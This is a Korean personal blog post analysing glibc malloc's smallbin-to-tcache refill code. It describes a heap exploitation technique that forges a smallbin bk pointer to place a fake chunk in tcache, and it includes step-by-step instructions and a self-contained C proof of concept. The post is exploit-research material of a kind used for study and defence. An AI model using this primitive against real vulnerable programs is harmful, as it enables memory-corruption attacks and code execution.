glibc 2.26 버전 이상부터 사용가능한 방법같다. 이미 누군가 찾았을 것 같긴 한데... 나는 모른다.
malloc분석을 하다 발견했다.
이 방법은 tcache가 꽉차서 smallbin을 사용하다가 tcache가 비워지는 경우, smallbin에 free된 청크가 3개 있을때(이 이상도 될듯), 중간에 있는 청크의 bk를 변조가능하면 원하는 fake chunk를 tcache에 넣을 수 있다. (단, bk를 실제 smallbin에 들어간 청크로 맞추어 주어야함)
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
while (tcache->counts[tc_idx] < mp_.tcache_count //해당 tcache에 자리에 있으면, smallbin이 빌 때까지
&& (tc_victim = last(bin)) != bin) //tcache로 옮긴다. last(bin)=bin->bk
{
if (tc_victim != 0) //bin->bk가 null인지 검사한다. 에러메세지는 없음
{
bck = tc_victim->bk; //bin->bk->bk
set_inuse_bit_at_offset(tc_victim, nb); //inuse bit 설정(tcache라서)
if (av != &main_arena)
set_non_main_arena(tc_victim);
bin->bk = bck; //연결 끊고 unlink
bck->fd = bin; //bin->bk->bk->fd=bin
//그런데 여기서 재밌는게 가능할 것 같다.
tcache_put(tc_victim, tc_idx);
}
}
}
취약점이 발생하는 부분은 이곳이다. 바로 smallbin에서 할당을 받은 후 tcache가 비어있으면 tcache에 옮겨주는 부분이다.
만약 smallbin에 들어간 chunk를 조작 가능한데, tcache가 비어있다고 가정을 해보자.
이곳에는 bck->bk->fd가 bck인지 검증하는 과정이 없기에 취약점이 발생한다.
기존 smallbin의 취약점인 house of lore의 방식을 이용해버리면 A,B,C 세개의 청크가 필요하다. 그러나 leak이 되지 않은 상황이라고 가정하면 저 while문을 영원히 빠져 나올 수 없다. (tc_victim=smallbin->bk)!= bin(smallbin) 이라는 조건이 있기 때문에 우리는 tcache를 다 채우거나, bin->bk==bin을 만족하지 않으면 오류가 나거나 while문을 빠져나올 수 없기 때문이다.
그러니까 위 그림에서 fake chunk 2 의 bk에 smallbin 주소를 넣어주는 것이 가능해야 한다는 말이다.
실제로 테스트를 안해봐서 검증은 못하지만, 지금 fake chunk 2 의 bk=null 이기 때문에 처음 청크를 할당받고 fake chunk 1이 tcache에 들어가고 fake chunk 2가 bin->bk에 적히게 되는데 여기서 fake chunk 2가 tcache에 들어가는 과정에서 bin->bk->bk=tc_victim->bk라는 연산때문에 세그폴트가 나버린다. (bin->bk->bk==null 이므로) 그리고 smallbin에서 할당을 받는다는 전제가 tcache가 비어있어야 하기 때문에 이 루틴을 벗어나는 것은 불가능하다.
뭐 상관없는 말이고, 내가 찾은 과정은 좀 조건을 많이 타지만 과정이 끝나도 청크가 망가지는 일은 없다.
house of lore도 충분히 사용할 상황은 나올 것 같다.
과정이다.
1. smallbin에 같은 사이즈의 청크 3개를 넣어준다.
2. 그리고 fake chunk 를 작성해준다. 조건은 상관 없다.
3. A<->B<->C 로 연결되어있는 smallbin의 리스트에서 B->bk를 fake chunk로 변조하고, fake chunk 의 bk는 C로 만든다. ( A<->B->Fake , Fake->C , B<-C 가 될 것이다.)
4. fake chunk의 size에 해당하는 tcache bin을 비워준다.
5. 해당사이즈의 청크를 smallbin에서 한개 할당 받는다. A가 할당되면 Fake,B,C는
tcache bin에 들어가 있을 것이다.
실제 테스트를 해보았다.
#include <stdio.h>
#include <stdlib.h>
long long int*p[100];
int main()
{
for(int i=0;i<7;i++)
p[i]=(long long int*)malloc(0x100);
long long int * a=(long long int*)malloc(0x100);
malloc(0x20); //병합 방지용
long long int * b=(long long int*)malloc(0x100);
long long int *fake=malloc(0x20);
long long int * c=(long long int*)malloc(0x100);
printf("A : %p\n",a);
printf("B : %p\n",b);
printf("C : %p\n",c);
printf("Fake : %p\n",fake);
fake[1]=(long long int)c-0x10;
puts("fake->bk를 C로 설정했습니다.");
for(int i=0;i<7;i++)
free(p[i]);
puts("Tcache의 0x110 bin이 가득 채워졌습니다");
free(a);
malloc(0x150);
free(b);
malloc(0x150);
free(c);
malloc(0x150);
puts("smallbin에 A,B,C를 넣었습니다.");
getchar();
b[1]=(long long int)fake-0x10;
for(int i=0;i<7;i++)
p[i]=(long long int*)malloc(0x100);
malloc(0x100);
puts("이제 tcache에 fake chunk가 들어갔습니다!");
getchar();
}
정상적으로 tcache에 원하는 fake 청크인 0x555555756c20이 들어갔다. 그리고 smallbin도 이상이 없다.
왜 이런일이 일어나는 것일까? 에 대해서 설명하면 bck->bk->fd가 bck인지 검증하는 과정이 없기때문이다. 다음은 A,B,C가 smallbin에 들어갔을 때의 상황이다.
그리고 B의 bk를 fake chunk로 바꾸면 아래 사진과 같이 변한다.
그리고 A를 할당받으면 bin->bk=bck(B) , bck->fd=bin 으로 설정되 다음 그림과 같이 된다.
이제 나머지를 tcache에 하나씩 넣어주기 시작한다. 이부분이 취약한 부부인데, 현재 bck는 fake 이다.
bck->bk=C 이지만 C->fd 는 fake가 아닌 B이다.
B가 tcache에 들어가면 청크는 이렇게 변한다.
마지막으로 fake가 tcache에 들어가면 Smallbin의 bk=C, bck->fd=bin 루틴에 따라 C->fd=smallbin이 되어서
완전무결한 상태가 된다.
'Security > 개인 연구' 카테고리의 다른 글
free 함수 분석(glibc 2.31) (0) | 2021.01.13 |
---|---|
malloc 함수 분석 (0) | 2021.01.09 |
malloc.c 분석 [2] _int_malloc (fastbin, smallbin) (2) | 2020.12.28 |
malloc.c 분석 [1] __libc_malloc (feat. Arena) (0) | 2020.12.28 |
fclose() 를 이용한 leak (1) | 2020.12.27 |